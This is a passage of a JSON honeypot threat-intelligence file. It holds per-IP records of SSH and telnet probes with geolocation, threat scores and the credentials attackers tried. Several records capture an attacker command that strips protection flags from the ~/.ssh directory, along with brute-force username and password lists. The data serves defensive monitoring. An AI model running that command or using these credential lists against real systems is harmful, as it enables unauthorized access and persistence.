        "1234",
        "1qazxsw2",
        "abc12345",
        "mcuser",
        "passuser",
        "sammy",
        "ubuntu@2020"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:14:27.678000+00:00",
        "last_seen_30d": "2026-05-06T10:47:28.385000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 20
      }
    },
    "64.89.160.135": {
      "attack_count": 40,
      "first_seen": "2026-05-03T00:53:54.852Z",
      "last_seen": "2026-05-31T07:45:35.603Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 56.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.0,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:53:54.852000+00:00",
        "last_seen_30d": "2026-05-31T07:46:39.723000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Cowrie": 40
      }
    },
    "116.110.219.215": {
      "attack_count": 35,
      "first_seen": "2026-05-15T13:32:11.957Z",
      "last_seen": "2026-05-15T13:34:26.843Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "*****",
        "ashish",
        "dubai",
        "pi",
        "root",
        "temp1",
        "ubnt"
      ],
      "passwords_attempted": [
        "*****",
        "ashish",
        "dubai",
        "password1",
        "pfsense",
        "raspberry",
        "temp1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 14.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T13:32:11.957000+00:00",
        "last_seen_30d": "2026-05-15T13:35:32.879000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 16
      }
    },
    "137.59.230.48": {
      "attack_count": 30,
      "first_seen": "2026-05-18T18:25:50.278Z",
      "last_seen": "2026-05-18T18:29:11.717Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T18:25:50.278000+00:00",
        "last_seen_30d": "2026-05-18T18:30:16.613000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "200.3.27.24": {
      "attack_count": 30,
      "first_seen": "2026-05-19T18:54:59.497Z",
      "last_seen": "2026-05-19T20:50:29.169Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belford Roxo",
      "asn": 52689,
      "as_org": "ESPACO DIGITAL",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:54:59.497000+00:00",
        "last_seen_30d": "2026-05-19T20:51:33.138000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 15
      }
    },
    "43.159.47.71": {
      "attack_count": 23,
      "first_seen": "2026-05-25T03:06:49.906Z",
      "last_seen": "2026-05-25T03:06:52.576Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "fjbdfdjkdsfs541544AA@@"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T03:06:49.906000+00:00",
        "last_seen_30d": "2026-05-25T03:07:58.503000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "103.161.16.196": {
      "attack_count": 21,
      "first_seen": "2026-05-21T03:05:31.909Z",
      "last_seen": "2026-05-21T03:08:44.127Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135967,
      "as_org": "Bach Kim Network solutions Join stock company",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T03:05:31.909000+00:00",
        "last_seen_30d": "2026-05-21T03:09:51.579000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 11
      }
    },
    "3.132.26.232": {
      "attack_count": 18,
      "first_seen": "2026-05-07T12:05:39.077Z",
      "last_seen": "2026-05-12T04:04:39.446Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 2715,
        "days_active_30d": 23,
        "ports_targeted_30d": 132,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T02:56:08+00:00",
        "last_seen_30d": "2026-05-24T09:36:49.807000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1706,
        "Honeytrap": 853,
        "Dionaea": 68,
        "Mailoney": 39,
        "ConPot": 25,
        "Cowrie": 18,
        "Ciscoasa": 2,
        "ElasticPot": 2,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1
      }
    },
    "103.119.18.191": {
      "attack_count": 15,
      "first_seen": "2026-05-06T13:54:52.106Z",
      "last_seen": "2026-05-06T14:18:17.146Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": "Prague",
      "asn": 215305,
      "as_org": "Mastersoft S.R.L.",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 10.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 13,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T13:44:46.320000+00:00",
        "last_seen_30d": "2026-05-18T23:45:35.187000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 12
      }
    },
    "64.227.161.161": {
      "attack_count": 12,
      "first_seen": "2026-05-14T12:35:51.110Z",
      "last_seen": "2026-05-14T12:36:20.536Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 147617,
        "days_active_30d": 1,
        "ports_targeted_30d": 65822,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-05-14T12:33:42.786000+00:00",
        "last_seen_30d": "2026-05-14T12:48:34.610000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 127216,
        "Honeytrap": 20356,
        "Cowrie": 12,
        "ConPot": 9,
        "Dionaea": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "150.221.241.115": {
      "attack_count": 10,
      "first_seen": "2026-05-19T22:54:41.282Z",
      "last_seen": "2026-05-21T11:32:26.731Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11427,
      "as_org": "Charter Communications Inc",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T16:39:40.664000+00:00",
        "last_seen_30d": "2026-05-21T11:34:05.227000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 10
      }
    },
    "66.132.224.93": {
      "attack_count": 10,
      "first_seen": "2026-05-09T09:32:17.189Z",
      "last_seen": "2026-05-24T23:31:18.630Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.0,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 27,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-05T11:40:41.076000+00:00",
        "last_seen_30d": "2026-05-31T09:09:38.259000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 144,
        "Honeytrap": 26,
        "Cowrie": 10,
        "ElasticPot": 9,
        "CitrixHoneypot": 5,
        "H0neytr4p": 3,
        "Dionaea": 1
      }
    },
    "172.236.228.193": {
      "attack_count": 7,
      "first_seen": "2026-05-24T20:01:38.796Z",
      "last_seen": "2026-05-24T20:01:39.074Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 73.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.8,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 27,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T12:55:01+00:00",
        "last_seen_30d": "2026-05-30T20:52:12.924000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 24,
        "Cowrie": 7
      }
    },
    "147.139.136.75": {
      "attack_count": 6,
      "first_seen": "2026-05-16T00:11:02.969Z",
      "last_seen": "2026-05-22T21:32:12.434Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 45.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 20.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 24,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T15:10:16.275000+00:00",
        "last_seen_30d": "2026-05-26T17:38:16.684000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 6,
        "Honeytrap": 2
      }
    },
    "159.253.120.161": {
      "attack_count": 6,
      "first_seen": "2026-05-31T09:35:06.442Z",
      "last_seen": "2026-05-31T09:35:13.773Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T09:35:06.442000+00:00",
        "last_seen_30d": "2026-05-31T09:36:21.659000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "51.81.34.239": {
      "attack_count": 6,
      "first_seen": "2026-05-04T19:52:13.986Z",
      "last_seen": "2026-05-04T19:52:21.093Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:52:13.986000+00:00",
        "last_seen_30d": "2026-05-04T19:53:24.366000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "59.124.206.129": {
      "attack_count": 6,
      "first_seen": "2026-05-22T10:46:32.057Z",
      "last_seen": "2026-05-22T14:21:23.639Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taoyuan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:46:32.057000+00:00",
        "last_seen_30d": "2026-05-22T14:22:32.283000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "150.139.194.15": {
      "attack_count": 5,
      "first_seen": "2026-05-23T00:23:54.288Z",
      "last_seen": "2026-05-23T00:25:54.291Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Admin123$"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58541,
      "as_org": "Qingdao,266000",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:23:54.288000+00:00",
        "last_seen_30d": "2026-05-23T00:36:00.602000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "112.103.61.106": {
      "attack_count": 4,
      "first_seen": "2026-05-22T22:18:29.139Z",
      "last_seen": "2026-05-23T05:09:05.287Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:18:29.139000+00:00",
        "last_seen_30d": "2026-05-23T05:10:12.694000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "130.0.60.82": {
      "attack_count": 4,
      "first_seen": "2026-05-09T07:40:20.963Z",
      "last_seen": "2026-05-11T10:40:50.183Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Odesa",
      "asn": 6876,
      "as_org": "TENET Scientific Production Enterprise LLC",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T07:40:20.963000+00:00",
        "last_seen_30d": "2026-05-11T10:41:53.498000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "147.185.132.79": {
      "attack_count": 4,
      "first_seen": "2026-05-17T10:43:26.852Z",
      "last_seen": "2026-05-17T10:43:30.450Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T04:09:05.376000+00:00",
        "last_seen_30d": "2026-05-31T07:16:47.217000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 26,
        "Adbhoney": 4,
        "Cowrie": 4
      }
    },
    "181.19.108.29": {
      "attack_count": 4,
      "first_seen": "2026-05-20T05:22:01.742Z",
      "last_seen": "2026-05-20T06:55:51.145Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T05:22:01.742000+00:00",
        "last_seen_30d": "2026-05-20T06:56:59.607000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "64.226.127.28": {
      "attack_count": 4,
      "first_seen": "2026-05-19T20:41:14.948Z",
      "last_seen": "2026-05-19T20:41:34.949Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 60.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.6,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 24,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T19:03:18+00:00",
        "last_seen_30d": "2026-05-25T03:12:05.340000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 32,
        "Cowrie": 4
      }
    },
    "72.255.18.243": {
      "attack_count": 4,
      "first_seen": "2026-05-15T22:03:03.715Z",
      "last_seen": "2026-05-15T22:03:29.167Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T22:03:03.715000+00:00",
        "last_seen_30d": "2026-05-15T22:04:32.594000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "83.248.112.241": {
      "attack_count": 4,
      "first_seen": "2026-05-03T17:16:12.243Z",
      "last_seen": "2026-05-05T21:25:48.304Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Bandhagen",
      "asn": 1257,
      "as_org": "Tele2 SWIPnet",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:16:12.243000+00:00",
        "last_seen_30d": "2026-05-05T21:26:56.410000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "138.197.118.33": {
      "attack_count": 3,
      "first_seen": "2026-05-08T09:07:38.528Z",
      "last_seen": "2026-05-08T09:07:38.529Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
